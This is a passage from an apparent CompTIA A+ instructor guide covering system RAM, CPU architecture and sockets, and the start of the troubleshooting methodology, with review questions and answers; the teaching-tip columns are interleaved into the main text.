System memory is implemented as random-access memory (RAM) devices. RAM data while the PC is
is faster than the flash memory used for SSDs and much faster than an HDD, but switched on.
it is volatile. Volatile means that the memory device can only store data when it is
Explain that virtual
powered on. memory allows the
System memory is measure in gigabytes (GB). The amount of system RAM PC to have a larger
workspace than the
determines the PC’s ability to work with multiple applications at the same time and
amount of physical
to process large files efficiently. memory installed by
using the disk drive.
Virtual RAM/Virtual Memory Note that the OS
also uses the virtual
If there is not enough system RAM, the memory space can be extended by using address space to
disk storage. This is referred to as a pagefile or swap space. The total amount mediate access to
of addressable memory (system RAM plus swap space) is referred to as virtual the RAM devices and
prevent conflicts
memory or virtual RAM. With virtual memory, the OS assigns memory locations to
between processes.
processes in 4 kilobyte chunks called pages. The memory controller moves inactive
pages of memory to the swap space to free up physical RAM and retrieves pages
from the swap space to physical RAM when required by process execution. An
excessive amount of such paging activity will slow the computer down because disk
transfer rates are slower than RAM transfer rates.

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Virtual memory is not just used to supplement RAM with swap space. It serves an
important function in protecting the operation and integrity of the PC. Multiple
processes can share the RAM device resource as a virtual memory space that is
mediated by the operating system. This is more secure and reliable than allowing each
process to use physical RAM devices.

Address Space
The bus between the CPU, memory controller, and memory devices consists of a
data pathway and an address pathway:
• The width of the data pathway determines how much information can be
transferred per clock cycle. In a single channel memory controller configuration,
the data bus is usually 64 bits wide.

• The width of the address bus determines how many memory locations the CPU
can keep track of and consequently limits to the maximum possible amount of
physical and virtual memory. A 32-bit CPU with a 32-bit address bus can access
a 4 GB address space. In theory, a 64-bit CPU could implement a 64-bit address
space (16 exabytes), but most 64-bit CPUs actually use a 48-bit address bus,
allowing up to 256 terabytes of memory.

A 64-bit CPU can address more memory locations than a 32-bit CPU. The 64-bit data
bus is the amount of memory that can be transferred between the CPU and RAM per cycle.
(Image ©123RF.com)

RAM Types
Show Modern system RAM is implemented as a type called Double Data Rate
Slide(s) Synchronous Dynamic Random Access Memory (DDR SDRAM). Unpacking that
RAM Types name reveals a history of PC system memory implementations from the 1990s
to today:
Teaching • Dynamic RAM stores each data bit as an electrical charge within a single bit cell.
Tip A bit cell consists of a capacitor to hold a charge (the cell represents 1 if there
Explain the features of is a charge and 0 if there is not) and a transistor to read the contents of the
DDR SDRAM. capacitor.

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• Synchronous DRAM (SDRAM) is so-called because its speed is synchronized to

the motherboard system clock.

• Double Data Rate SDRAM (DDR SDRAM) makes two data transfers per
clock cycle.

DDR memory modules are labeled using the maximum theoretical bandwidth, such
as PC1600, PC2100, and so on. As an example of how this value is derived, consider
DDR-200 PC-1600 memory:
• The internal memory device clock speed and memory bus speed (between the
memory devices and memory controller) are both 100 MHz.

• The data rate is double this as there are two operations per clock “tick.” This is
expressed in units called megatransfers per second (200 MT/s). This gives the
DDR-200 designation.

• The peak transfer rate is 1600 MBps (200 MT/s multiplied by 8 bytes (64 bits)
per transfer). This gives the “PC-1600” designation. 1600 MBps is equivalent to
1.6 GBps.

Subsequent generations of DDR technology—DDR2, DDR3, DDR4, and DDR5—

increase bandwidth by multiplying the bus speed, as opposed to the speed at which
the actual memory devices work. This produces scalable speed improvements
without making the memory modules too unreliable or too hot. Design
improvements also increase the maximum possible capacity of each memory
module.

RAM Type Data Rate Transfer Rate Maximum Size

DDR3 800 to 2133 MT/s 6.4 to 17.066 GB/s 8 GB
DDR4 1600 to 3200 MT/s 12.8 to 25.6 GB/s 32 GB
DDR5 4800 to 6400 MT/s 38.4 to 51.2 GB/s 128 GB

The transfer rate is the speed at which data can be moved by the memory controller.
Memory modules also have internal timing characteristics, expressed as values, such
as 14-15-15-35 CAS 14. These timings can be used to differentiate performance of RAM
modules that are an identical DDR type and speed. Lower values are better.

Memory Modules
A memory module is a printed circuit board that holds a group of RAM devices that Show
act as a single unit. Memory modules are produced in different capacities. Each Slide(s)
DDR generation sets an upper limit on the maximum possible capacity. DDR for Memory Modules
desktop system memory is packaged in a form factor called dual inline memory
module (DIMM). The notches (keys) on the module’s edge connector identify the
DDR generation (DDR3/DDR4/DDR5) and prevent it from being inserted into an
incompatible slot or inserted the wrong way around. DDR DIMMs typically feature
heat sinks, due to the use of high clock speeds.

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DDR SDRAM packaged in DIMMs. (Image © 123RF.com)

Memory slots look similar to expansion slots but with catches on each end to secure
the memory modules. Memory modules are vulnerable to electrostatic discharge (ESD).
Always take anti-ESD precautions when handling and storing these devices.

The DIMM’s DDR type must match the motherboard. You cannot install DDR5
modules in DDR4 slots, for instance. For best performance, the modules should be
rated at the same bus speed as the motherboard. It is possible to add modules that
are faster or slower than the motherboard slots or mix modules of different speeds.
However, the system will operate only at a speed that is supported by all installed
components (memory modules and controller), so this is not generally a good idea.
Laptop RAM is packaged in a smaller form factor called Small Outline DIMM
(SODIMM). The memory is typically fitted into slots that pop-up at a 45º angle to
allow the chips to be inserted or removed.

SODIMM (Image ©123RF.com)

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Multi-channel System Memory

In the 2000s, the increasing speed and architectural improvements of CPU Show
technologies led to memory becoming a bottleneck to system performance. To Slide(s)
address this, Intel and AMD developed a dual-channel architecture for DDR memory Multi-channel System
controllers. Dual-channel was originally used primarily on server-level hardware but Memory
is now a common feature of desktop systems and laptops.
Teaching
Single-channel memory means that there is one 64-bit data bus between the CPU,
Tip
memory controller, and RAM devices. With a dual-channel memory controller,
Point out that it is the
there are effectively two 64-bit pathways through the bus to the CPU, meaning that
motherboard that is
128 bits of data can be sent per transfer rather than 64 bits. This feature requires multi-channel, rather
support from the CPU, memory controller, and motherboard but not from the than the memory
RAM devices. Ordinary RAM modules are used. There are no “dual-channel” DDR modules themselves.
memory modules.

DDRx memory is sold in "kits" for dual-channel use, but there is nothing special about
the modules themselves other than being identical.

Motherboard DIMM slots (dual channel). Slots 1 and 3 (black slots) make up one channel, while
slots 2 and 4 (grey slots) make up a separate channel. (Image ©123RF.com)

When configuring a dual-channel system, you will need to consult the system
documentation to identify the appropriate slots to use. As a generic example, a
dual-channel motherboard might have four DIMM slots arranged in color-coded
pairs. Each pair represents one channel. For example, channel A might be color-
coded orange and channel B color-coded blue. Each slot in a pair represents one of
the two sockets in the channel (A1 and A2, for instance).
If only two 4 GB modules are available, to enable dual-channel, the modules must
be installed in socket 1 of each channel (A1 and B1, for instance). This pair of
modules should be identical in terms of clock speed and capacity. Ideally other

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characteristics, such as timings and latency, should be identical too. If they are not,
the lowest (worst performing) values are used. Dual-channel mode may also need
to be enabled via the PC firmware’s system setup program.

There is no consistent approach to this labelling and color-coding. Some vendors

use the same color for each channel, and some use the same color for each socket
number. Some motherboards might require socket 1 to be populated first; others might
recommend using socket 2 first. Consult the system documentation before proceeding.

Depending on the motherboard and firmware settings, adding an odd number of

modules or adding DIMMs that are not the same clock speed and size will have
different outcomes. A configuration with mismatched modules may cause the system
to operate in single-channel mode, in a dual-channel mode with the spare module
disabled, or in flex mode. Flex mode means that if A1 contains a 2 GB module and B1
contains a 6 GB module, dual-channel mode will be enabled for 2 GB of memory and
the remaining 4 GB from the module in B1 will work in single-channel mode.
Some CPUs and supporting chipsets have triple- or quadruple-channel memory
controllers. In these architectures, if the full complement of modules is not
installed, the system will revert to as many channels as are populated.

DDR5 introduces a different type of data bus. Each memory module has two channels of
32 bits. When installed in a dual channel memory controller configuration, this becomes
four 32-bit channels. This architecture distributes the load on each RAM device better.
This supports better density (more gigabytes per module) and reduces latency. It also
works better with the multi-core features of modern CPUs.

ECC RAM
Show Error correcting code (ECC) RAM is used for workstations and servers that require
Slide(s) a high level of reliability. For each transfer, ECC RAM performs a hash calculation on
ECC RAM
the data value and stores it as an 8-bit checksum. This checksum requires an extra
processor chip on the module and a 72-bit data bus rather than the regular 64 bits.
Teaching The memory controller performs the same calculation and should derive the same
Tip checksum. This system can detect and correct single-bit errors and allow the PC
to continue functioning normally. ECC can also detect errors of 2, 3, or 4 bits but
ECC is more likely
to be found on cannot correct them. Instead, it will generate an error message and halt the system.
server systems than Most types of ECC are supplied as registered DIMMs (RDIMMs). A registered DIMM
on desktops, but
it might be used in
uses an extra component to reduce electrical load on the memory controller. This
workstations. has a slight performance penalty, but makes the system more reliable, especially
if large amounts of memory are installed. Most types of non-ECC memory are
unbuffered DIMMs (UDIMMs). Some types of ECC RAM are packaged in UDIMMs,
though this is rarer.
All these factors must be considered when selecting memory for a system:
• Both the motherboard and CPU must support ECC operation for it to be enabled.

• Most motherboards support either UDIMMs or RDIMMs, but not both.

• If a motherboard does support both, UDIMM and RDIMM modules cannot be mixed
on the same motherboard. The system will not boot if there are different types.

• Mixing non-ECC UDIMMs and ECC UDIMMs is unlikely to work.

DDR5 implements a form of error checking that is internal to the module. This is not
the same as ECC implemented by the memory controller, where the error information is
communicated to the CPU. There are still non-ECC and ECC types of DDR5 RAM.

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Review Activity:
System Memory
8

Answer the following questions: Show

Slide(s)
Review
1. What type of memory technology supports paging?
Teaching
Virtual RAM or virtual memory. The operating system creates a virtual address Tip
space for each process. This address space can use physical system random-access Take some time at
memory (RAM) modules and swap space or paging files stored on fixed disks (hard the end of each topic
drives and SSDs). Paging moves data between system RAM and the swap space as to answer questions.
You can use the
required. review questions
for discussion in
2. You need to upgrade the system RAM on a PC. The motherboard has two class or set them for
8 GB modules of DDR3 RAM installed and two free slots. You have two students to complete
spare 16 GB DDR4 modules in your stores. Can these be used for this individually during or
upgrade? after class.

No. The DDR generation of the motherboard slot and modules must match. You
can only use DDR3 modules.

3. You are configuring a different workstation with dual-channel memory.

You have two modules and there are four slots. How would you
determine which slots to use?

Check the vendor’s setup/service manual. Many systems will use the slots
marked A1 and B1, but it’s best not to proceed without consulting the vendor’s
documentation.

4. Consulting the vendor documentation, you find that this system uses
DDR4 error-correcting code (ECC) RDIMMs. The spares you have are DDR4
ECC UDIMMs. Can they be used for the upgrade?

No. If the vendor documentation specifies registered memory (RDIMMs), you must
use RDIMM modules. Unbuffered DIMMs (UDIMMs) will not be compatible even if
they are ECC.

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Topic 2D
Install and Configure CPUs
5

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.4 Given a scenario, install and configure motherboards, central processing units
Install and Configure (CPUs), and add-on cards.
CPUs

Teaching
The central processing unit (CPU) is the principal system controller and has the
Tip
greatest overall impact on system performance. On most of today’s systems,
opportunities to improve the performance of a computer by upgrading the CPU
This topic concludes
the review of the
are limited. However, you must still understand the features of CPU architecture
main hardware and packaging to assist users with selecting appropriate systems, to perform
components. upgrades and replacements where necessary, and to help when troubleshooting
various issues.

CPU Architecture
Show The central processing unit (CPU), or simply the processor, executes program
Slide(s) instruction code. When a software program runs (whether it be system firmware, an
CPU Architecture operating system, anti-virus utility, or word-processing application), it is assembled
into instructions utilizing the fundamental instruction set of the CPU platform and
Teaching loaded into system memory. The CPU then performs the following basic operations
Tip on each instruction:
Re-cap the role of the 1. The control unit fetches the next instruction in sequence from system memory
CPU in processing low-
to the pipeline.
level instructions and
use of registers and
2. The control unit decodes each instruction in turn and either executes it itself
cache. Explain how
the instruction set and or passes it to the arithmetic logic unit (ALU) or floating-point unit (FPU) for
width (32-bit or 64-bit) execution.
determines software
compatibility with 3. The result of the executed instruction is written back to a register, to cache, or
hardware. Contrast to system memory.
ARM with x86/x64.
• A register is a temporary storage area available to the different units within
the CPU working at the same clock speed as the CPU.

• Cache is a small block of memory that works at the speed of the CPU or
close to it, depending on the cache level. Cache enhances performance by
storing instructions and data that the CPU is using regularly.

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x86 CPU Architecture

Over the years, many different internal CPU architectures have been developed
to optimize the process of fetch, decode, execute, and writeback, while retaining
compatibility with the x86-32 or IA-32 (Intel Architecture) instruction set. This x86
instruction set defines a CPU as IBM PC compatible. x86 PC processors are designed
and manufactured by Intel and Advanced Micro Devices (AMD).

x64 CPU Architecture

x86 is a 32-bit instruction set. 32-bit means that each instruction can be up to
32-bits wide. However, since the early 2000s most CPUs have been capable of
running 64-bit code. The x86 instruction set has been extended for 64-bit operation
as the x64 instruction set, developed initially by AMD as AMD64 or x86-64. Intel
refers to it as EM64T or Intel 64.
All firmware and software—operating system, device drivers, and applications—
must be specifically designed and compiled to run as 64-bit software. No 32-bit CPU
can run 64-bit software. However, a 64-bit CPU can run 32-bit software.

A device driver is code that provides support for a specific model of hardware
component for a given operating system.

ARM CPU Architecture

The principal alternative to the standard x86/x64 CPU architecture is one devised by
Advanced RISC Machines (ARM). Unlike AMD and Intel, ARM do not manufacture
CPUs. Instead, they produce designs that hardware vendors customize and
manufacture. ARM designs are used in the current generation of Apple hardware, in
most Android smartphones and tablets (notably by the vendors Qualcomm, Nvidia,
and Samsung), in many Chromebooks, and in some Windows tablets and laptops.
A typical ARM design implements a system-on-chip (SoC). SoC means that all the
controllers—video, sound, networking, and storage—are part of the CPU. ARM
designs use fewer, less complex instructions than is typical of x86. These features
allow much better power and thermal efficiency, meaning longer battery life and
the use of passive (fanless) cooling.

An x86/x64 platform is complex instruction set computing (CISC), meaning that it uses
a larger number (say around 1,000) of relatively more complex instructions. A single
complex instruction might generate multiple operations across the CPU’s registers
and take multiple clock cycles to complete. Reduced ISC (RISC) uses a small number
of simpler instructions (say 100). This means that tasks require the execution of more
instructions than with CISC, but each takes precisely one clock cycle. Because there are
fewer instructions overall, RISC can make better use of the CPU registers and cache.

For an operating system and hardware drivers to run on an ARM-based device, they
must be redesigned and compiled to use the ARM instruction set. While this task
is typically within the reach of operating system developers, converting existing
x86/x64 software applications to run on a different instruction set is an onerous
task. Another option is support for emulation. This means that the ARM device
runs a facsimile of an x86 or x64 environment. Windows 10 ARM-based devices
use emulation to run x86 and x64 software apps. Emulation typically imposes a
significant performance penalty, however.

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CPU Features
Show Given the architectural features just discussed, the speed at which the CPU runs
Slide(s) is generally seen as a key indicator of performance. This is certainly true when
CPU Features comparing CPUs with the same architecture but is not necessarily the case
otherwise.
Thermal and power performance impose limits to running the CPU faster and
faster. Another way to make execution more efficient is to improve the operation
of the instruction pipeline. The basic approach is to do the most amount of
work possible in a single clock cycle. This can be achieved through simultaneous
multithreading (SMT), referred to as HyperThreading by Intel. A thread is a stream
of instructions generated by a software application. Most applications run a single
process in a single thread; software that runs multiple parallel threads within a
process is said to be multithreaded. SMT allows the threads to run through the CPU
at the same time. This reduces the amount of “idle time” the CPU spends waiting for
new instructions to process. To the OS, it seems as though there are two or more
CPUs installed.
Another approach is to use two or more physical CPUs, referred to as symmetric
multiprocessing (SMP). An SMP-aware OS can then make efficient use of the
processing resources available to run application processes on whichever CPU
is “available.” This approach is not dependent on software applications being
multithreaded to deliver performance benefits. However, a multi-socket
motherboard is significantly more costly and so is implemented more often on
servers and high-end workstations than on desktops. The CPUs used in each socket
must be identical models and specifications and must be models that support SMP.
Improvements in CPU fabrication techniques led to the ability to expand compute
resources by fabricating multiple CPU cores on a single package. A single-core CPU
has a single execution unit and set of registers implemented on a single package.
A dual-core CPU is essentially two processors combined in the same package. This
means that there are two execution units and sets of registers. Each core will also
have its own cache plus access to a shared cache. This is referred to as chip level
multiprocessing (CMP).
The market has quickly moved beyond dual-core CPUs to multicore packages with
eight or more processors. Multicore and multithreading features are designated by
nC/nT notation. For example, an 8C/16T CPU with multithreading support has eight
cores but processes double that number of simultaneous threads.
Finally, a computer can be made more efficient and useful by configuring it to run
multiple operating systems at the same time. This is achieved through virtualization
software. Each OS is referred to as a virtual machine (VM). Intel’s Virtualization
Technology (VT) and AMD’s AMD-V provide processor extensions to support
virtualization, also referred to as hardware-assisted virtualization. This makes the
VMs run much more quickly. These extensions are usually features of premium
models in each processor range.
There is also a second generation of virtualization extensions to support Second
Level Address Translation (SLAT), a feature of virtualization software designed to
improve the management of virtual memory. These extensions are referred to as
Extended Page Table (EPT) by Intel and Rapid Virtualization Indexing (RVI) by AMD.

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CPU Socket Types

CPU packaging refers to the CPU’s form factor and how it is connected to the Show
motherboard. Intel and AMD use different socket types, so you will not be able to Slide(s)
install an AMD CPU in a motherboard designed for an Intel CPU (and vice versa). CPU Socket Types
All CPU sockets use a zero insertion force (ZIF) mechanism. This means that no
pressure is required to insert the CPU, reducing the risk of bending or breaking the Teaching
fragile pin contacts. Tip
Make sure students
CPUs are vulnerable to electrostatic discharge (ESD). Always take anti-ESD precautions can distinguish
when handling and storing these devices. these socket types
and discuss some
of the mechanics
of removing and
Intel uses land grid array (LGA) socket form factor CPUs. The LGA form factor installing CPUs.
positions the pins that connect the CPU on the socket. The CPU is placed on a
Interaction
hinged plate and then secured to the socket using a locking lever.
Opportunity
If you have some old
examples to show or
provide as hands-on
opportunities, that
will boost students’
understanding.

GIGA-BYTE Z590 Gaming motherboard with Intel Socket 1200 LGA form factor CPU socket.
(Image used with permission from Gigabyte Technology.)

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AMD uses pin grid array (PGA) form factor chips predominantly. The PGA form
factor positions the pins on the underside of the processor package. The CPU is
placed gently into the socket and then secured using a locking lever. Care must be
taken to orient pin 1 on the CPU correctly with pin 1 on the socket so as not to bend
or break any of the pins.

GIGA-BYTE X570S Gaming X motherboard with AMD Socket AM4 PGA form factor CPU socket.
(Image used with permission from Gigabyte Technology.)

When removing a CPU with a heat sink and fan assembly, use a gentle twist to
Show remove the heat sink to avoid it sticking to the CPU. Release the latch securing the
Slide(s) CPU before attempting to remove it. If reinstalling the same heat sink, clean old
CPU Types and thermal grease from the surfaces and apply a small amount of new grease in an
Motherboard X pattern. Do not apply too much—if it overruns, the excess could damage the socket.
Compatibility

Teaching CPU Types and Motherboard Compatibility

Tip
The nature of the current CPU market means that there is rapid turnover of models.
Explain that modern
CPUs are very closely Each vendor releases a CPU design with a number of architectural improvements
tied to a specific and quite often with a new socket design. This is referred to as a CPU’s generation.
socket type and In each generation, the manufacturer releases several models.
chipset. This limits
opportunities for Motherboards are specific to either Intel or AMD CPUs. Typically, motherboard
significant upgrades compatibility is limited to the same generation of CPUs. The CPU must be
between processor supported by both the physical form factor of the motherboard’s CPU socket and
generations. by the motherboard’s chipset. There are limited opportunities to upgrade the CPU
Discuss how brands/ model while keeping the same motherboard, and such upgrades rarely offer much
models target the value.
desktop, workstation,
server, and mobile Within each generation, CPU brands and models target different market segments,
market segments. such as desktop, server, and mobile.

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Desktops
Desktop is shorthand for a basic PC as used at home or in the office. The term
desktop derives from a time when computer cases were designed to sit horizontally
on a desk, rather than the vertical tower or all-in-one configurations used today.
The desktop segment covers a wide range of performance levels, from budget
to gaming PC. These performance levels are reflected in the CPU manufacturer’s
ranges, with multiple models of Intel Core (i3/i5/i7/i9) and AMD Ryzen (A and 1
up to 9) CPUs at price points ranging from tens of dollars (i3 or Ryzen 1 series) to
thousands (Ryzen Threadripper Pro). Intel also uses its historic brands, such as
Pentium and Celeron, to market budget chips.
Current Intel desktop socket designs include LGA 2011, LGA 1151, LGA 2066, LGA
1200, and LGA 1700. Most current AMD CPUs use the PGA form factor socket AM4.

Workstations
The term workstation can be used in the same way as desktop to refer to any type
of business PC or network client. However, in the context of PC sales, most vendors
use the term workstation to mean a high-performance PC, such as one used for
software development or graphics/video editing. Workstation-class PCs often use
similar components to server-class computers.

Servers
Server-class computers must manage more demanding workloads than most types
of desktops and operate to greater reliability standards. Server motherboards are
often multi-socket, meaning that multiple CPU packages can be installed. Each
of these CPUs will have multiple cores and support for multithreading, giving the
server the raw processing power it needs to service requests from hundreds or
thousands of client systems.
Other features of server-class motherboards include support for tens of gigabytes
of ECC RAM and additional levels and amounts of cache memory. There are
dedicated CPU ranges for servers, such as Intel’s Xeon and AMD’s Epyc brands.
These ranges are also usually tied to specific supporting motherboards. A
motherboard for an Intel Xeon CPU is unlikely to be compatible with an Intel
Core CPU.
Intel’s recent Xeon models use LGA 1150, LGA 1151, and LGA 2011 sockets. AMD’s
Epyc CPU uses the LGA Socket SP3 form factor.

Mobiles
Smartphones, tablets, and laptops need to prioritize power and thermal efficiency
plus weight over pure performance. Many mobiles use ARM-based CPUs for this
reason, and both Intel and AMD have separate mobile CPU models within each
generation of their platforms. Mobile CPUs tend to use different socket form
factors to desktops. Many are soldered to the motherboard and not replaceable or
upgradeable.

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Review Activity:
CPUs
6

Show Answer the following questions:

Slide(s)
Review
1. Why can cache improve performance?
Teaching
Tip A CPU tends to repeat the same routines and access the same data over and over
Take some time at again. If these routines are stored in fast cache RAM, they can be accessed more
the end of each topic quickly than instructions and data stored in system memory.
to answer questions.
You can use the 2. A workstation has a multi-socket motherboard but only a single LGA
review questions 1150 socket is populated. The installed CPU is a Xeon E3-1220. You have
for discussion in a Xeon E3-1231 CPU in store that also uses the LGA 1150. Should this
class or set them for
students to complete
be used to enable symmetric multiprocessing and upgrade system
individually during or performance?
after class.
No. The CPU models must be identical. If the CPUs are not identical, the system is
unlikely to boot. Even if the system boots, it is not likely to operate reliably.

3. You are specifying a computer for use as a software development

workstation. This will be required to run multiple virtual machines (VMs).
Can any x64-compatible CPU with sufficient clock speed be used?

No. You must verify that the CPU model supports virtualization extensions.

4. What must you check when inserting a PGA form factor CPU?

You must check that pin 1 is aligned properly and that the pins on the package are
aligned with the holes in the socket. Otherwise, you risk damaging the pins when
the locking lever is secured.

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Lesson 2
Summary
5

You should be able to install power supplies, cooling systems, storage devices, Show
system memory, and CPUs. Slide(s)
Summary
Guidelines for Installing System Devices
Teaching
Follow these guidelines to support the installation and configuration of
Tip
motherboards, peripheral devices, and connectors:
Try to include some
• When provisioning PSUs, check the input voltage and wattage rating (output) time at the end
requirements. Consider provisioning modular connectors to reduce cable clutter. of each lesson to
check students'
• Ensure that the passive, fan-based, or liquid-based cooling system is sufficient to understanding and
keep the computer operating within an acceptable temperature range. Perform answer questions.
regular maintenance to ensure that the computer is dust-free and that heat
Interaction
transfer is optimized through the correct application of thermal paste.
Opportunity
• When upgrading memory, assess motherboard requirements, especially when If there are
using RDIMMs and ECC memory. Match motherboard and DDR module clock limited hands-on
speeds for best performance, and use matched modules installed according to opportunities and
the system documentation to enable multi-channel modes. you downloaded the
service manuals, look
• When provisioning a new computer or upgrading the processor, match CPU at the procedures
for installing and
features such as high clock speed, multiprocessor support, multithreading upgrading system
support, core count, and virtualization support to the computer role (basic components.
desktop, workstation, gaming PC, server, or mobile).
Get students to
use review and
Additional practice questions for the topics covered in this lesson are available on the comparison sites to
CompTIA Learning Center. understand model
and generation
naming conventions
and identify the top
performing CPUs for
different classes:
• Best office desktop
CPU up to $200
(balance cost and
performance plus
use of integrated
graphics rather
than a dedicated
adapter).
• Gaming CPU up
to $1,000.
• Workstation CPU
with PCIe 5 and
DDR5 support.
These may only be
starting to come
onto the market.

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 Lesson 3
Troubleshooting PC Hardware
1

LESSON INTRODUCTION
Troubleshooting is a core competency for the role of CompTIA A+ service Show
technician. Whether it is trying to identify a fault in a new build system or assisting a Slide(s)
user with a computer that has just stopped working, you will typically be required to Objectives
demonstrate your troubleshooting skills on each and every day of your job.
To become an effective troubleshooter, you need a wide range of knowledge, the Teaching
ability to pay attention to details, and the readiness to be open and flexible in your Tip
approach to diagnosing issues. It is also important to learn and apply best practices This lesson introduces
the CompTIA
and a structured methodology to give yourself the best chance of success when
troubleshooting
diagnosing complex troubleshooting scenarios. model and reviews
Along with best practices, you also need to build knowledge of and experience with the troubleshooting
objectives and
the common symptoms that affect PC system components and peripheral devices. content examples for
motherboards, RAM,
Lesson Objectives CPU, power, storage
drives, RAID arrays,
video, projector, and
In this lesson, you will:
display issues.
• Apply troubleshooting methodology.

• Configure BIOS/UEFI.

• Troubleshoot power and disk issues.

• Troubleshoot system and display issues.

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Topic 3A
Apply Troubleshooting Methodology
2

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 5.1 Given a scenario, apply the best practice methodology to resolve problems.
Apply Troubleshooting
Methodology
Before you can begin to troubleshoot a problem with some component or system
Interaction
error, you need to understand best practices for problem-solving and management.
Opportunity
Even experienced technicians can sometimes overlook obvious symptoms
Ideally, give an or causes. Troubleshooting can be challenging, but if you follow a standard
example or two of methodology and use a best practice approach, you will often be able to achieve
troubleshooting
scenarios you have successful outcomes to the issues you are presented with.
had to deal with
(and perhaps, how
you could have
Best Practice Methodology
approached them
To some extent, being an effective troubleshooter simply involves having a detailed
better if you'd
followed the process knowledge of how something is supposed to work and of the sort of things that
of identify, analyze, typically go wrong. However, the more complex a system is, the less likely it is
test, evaluate, and that this sort of information will be at hand. Consequently, it is important to
document). develop general troubleshooting skills to approach new and unexpected situations
confidently.
Show
Slide(s) Troubleshooting starts with a process of problem-solving. It is important to realize
that problems have causes, symptoms, and consequences. For example:
Best Practice
Methodology • A computer system has a fault in the hard disk drive (cause).
Teaching • Because the disk drive is faulty, the operating system is displaying a “blue
Tip screen” (symptom).
Encourage learners to
memorize these steps • Because of the fault, the user cannot do any work (consequence).
in their proper order.
From a business point-of-view, resolving the consequences or impact of the
problem is more important than solving the original cause. For example, the most
effective solution might be to provide the user with another workstation, then get
the drive replaced.
Problems also need to be dealt with according to priority and severity. The disk
issue affects a single user and cannot take priority over issues with wider impact,
such as the data center suddenly losing power.
It is also important to realize that the cause of a specific problem might be the
symptom of a larger problem. This is particularly true if the same problem recurs.
For example, you might ask why the disk drive is faulty—is it a one-off error or are
there problems in the environment, supply chain, and so on?
These issues mean that the troubleshooting procedures should be developed in
the context of best practice methodologies and approaches. One such best practice
framework is the CompTIA's A+ troubleshooting model. The steps in this model are
as follows:

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1. Identify the problem:

a) Gather information from the user, identify user changes, and, if

applicable, perform backups before making changes.

b) Inquire regarding environmental or infrastructure changes.

2. Establish a theory of probable cause (question the obvious):

a) If necessary, conduct external or internal research based on symptoms.

3. Test the theory to determine the cause:

a) Once the theory is confirmed, determine the next steps to resolve the
problem.

b) If the theory is not confirmed, re-establish a new theory or escalate.

4. Establish a plan of action to resolve the problem and implement the solution:

a) Refer to the vendor’s instructions for guidance.

5. Verify full-system functionality and, if applicable, implement preventive

measures.

6. Document the findings, actions, and outcomes.

Identify the Problem

The troubleshooting process starts by identifying the problem. Identifying the Show
problem means establishing the consequence or impact of the issue and listing Slide(s)
symptoms. The consequence can be used to prioritize each support case within the Identify the Problem
overall process of problem management.
Teaching
Gather Information from the User Tip
Emphasize the
The first report of a problem will typically come from a user or another technician,
importance of
and this person will be one of the best sources of information, if you can ask the identifying all
right questions. Before you begin examining settings in Windows or taking the PC relevant symptoms
apart, spend some time gathering information from the user about the problem. and background
Ensure you ask the user to describe all the circumstances and symptoms. Some information.
good questions to ask include:
• What are the exact error messages appearing on the screen or coming from the
speaker?

• Is anyone else experiencing the same problem?

• How long has the problem been occurring?

• What changes have been made recently to the system? Were these changes
initiated by you or via another support request?

• The latest change to a system is very often the cause of the problem. If
something worked previously, then excepting mechanical failures, it is likely
that the problem has arisen because of some user-initiated change or some
environmental or infrastructure change. If something has never worked, a
different approach is required.

• Has anything been tried to solve the problem?

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Perform Backups
Consider the importance of data stored on the local computer when you open a
support case. Check when a backup was last made. If a backup has not been made,
perform one before changing the system configuration, if possible.

Establish and Test a Theory

Show If you obtain accurate answers to your initial questions, you will have determined
Slide(s) the severity of the problem (how many are affected), a rough idea of what to
Establish and Test a investigate (hardware or OS, for instance), and whether to consider the cause as
Theory deriving from a recent change, an oversight in the initial configuration, or some
unexpected environmental or mechanical event.
You diagnose a problem by identifying the symptoms. From knowing what causes
such symptoms, you can consider possible causes to determine the probable cause
and then devise tests to show whether it is the cause or not. If you switch your
television on and the screen remains dark, you could ask yourself, “Is the problem
in the television? Has the fuse blown? Is there a problem at the broadcasting
station rather than with my television?” With all problems we run through a list of
possibilities before deciding. The trick is to do this methodically (so that possible
causes are not overlooked) and efficiently (so that the problem can be solved
quickly).

Conduct Research
You cannot always rely on the user to describe the problem accurately or
comprehensively. You may need to use research techniques to identify or clarify
symptoms and possible causes. One of the most useful troubleshooting skills
is being able to perform research to find information quickly. Learn to use web
and database search tools so that you can locate information that is relevant and
useful. Identify different knowledge sources available to you. When you research a
problem, be aware of both internal documentation and information and external
support resources, such as vendor support or forums.
• Make a physical inspection—look and listen. You may be able to see or hear a
fault (scorched motherboard, “sick”-sounding disk drive, no fan noise, and so on).

• If the symptoms of the problem are no longer apparent, a basic technique is to

reproduce the problem—that is, repeat the exact circumstances that produced
the failure or error. Some problems are intermittent, though, which means
that they cannot be repeated reliably. Issues that are transitory or difficult to
reproduce are often the hardest to troubleshoot.

• Check the system documentation, installation and event logs, and diagnostic
tools for useful information.

• Consult other technicians who might have worked on the system recently or
might be working now on some related issue. Consider that environmental or
infrastructure changes might have been instigated by a different group within
the company. Perhaps you are responsible for application support and the
network infrastructure group has made some changes without issuing proper
notice.

• Consult vendor documentation and use web search and forum resources to see
if the issue is well-known and has an existing fix.

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Question the Obvious

As you identify symptoms and diagnose causes, take care not to overlook the
obvious—sometimes seemingly intractable problems are caused by the simplest
things. Diagnosis requires both attention to detail and a willingness to be
systematic.
One way to consider a computer problem systematically is to step through what
should happen, either by performing the steps yourself or by observing the user.
Hopefully, this will identify the exact point at which there is a failure or error.
If this approach does not work, break the troubleshooting process into
compartments or categories, such as power, hardware components, drivers/
firmware, software, network, and user actions. If you can isolate your investigation
to a particular subsystem by eliminating “non-causes,” you can troubleshoot the
problem more quickly. For example, when troubleshooting a PC, you might work as
follows:
1. Decide whether the problem is hardware or software related (Hardware).

2. Decide which hardware subsystem is affected (Disk).

3. Decide whether the problem is in the disk unit or connectors and cabling
(Connectors).

4. Test your theory.

A basic technique when troubleshooting a cable, connector, or device is to have a

"known good" duplicate on hand. This is another copy of the same cable or device that
you know works that you can use to test by substitution.

Establish a New Theory or Escalate

If your theory is not proven by the tests you make or the research you undertake, Show
you must establish a new theory. If one does not suggest itself from what you Slide(s)
have discovered so far, there may be more lengthy procedures you can use to Establish a New
diagnose a cause. Remember to assess business needs before embarking on very Theory or Escalate
lengthy and possibly disruptive tests. Is there a simpler workaround that you are
overlooking?
If a problem is particularly intractable, you can take the system down to its base
configuration (the minimum needed to run). When (if) this is working, you can then
add peripherals and devices or software subsystems one by one, testing after
each, until eventually the problem is located. This is time-consuming but may be
